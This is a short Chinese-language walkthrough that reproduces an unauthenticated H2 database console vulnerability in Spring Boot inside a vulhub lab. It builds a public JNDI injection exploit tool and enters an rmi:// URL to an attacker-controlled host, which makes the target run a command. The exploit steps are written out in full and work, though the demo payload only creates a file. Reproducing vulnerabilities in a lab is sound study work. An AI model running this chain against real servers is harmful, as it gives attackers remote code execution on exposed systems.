漏洞概述
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
环境搭建
使用vulhub来安装环境
https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md
进入目录并启动环境
cd vulhub-master/h2database/h2-console-unacc
docker-compose build
docker-compose up -d
访问http://your-ip:8080/h2-console即可查看到H2 database的管理页面。
漏洞复现
Poc地址:
https://github.com/welk1n/JNDI-Injection-Exploit/#examples
使用git拉取,并用maven编译
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
编译好后,进入target目录,运行jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.204.131
Driver Class:填
javax.naming.InitialContext
JDBC URL填
rmi://192.168.204.131:1099/cziwap
然后连接
命令已经执行
修复建议
升级到安全版本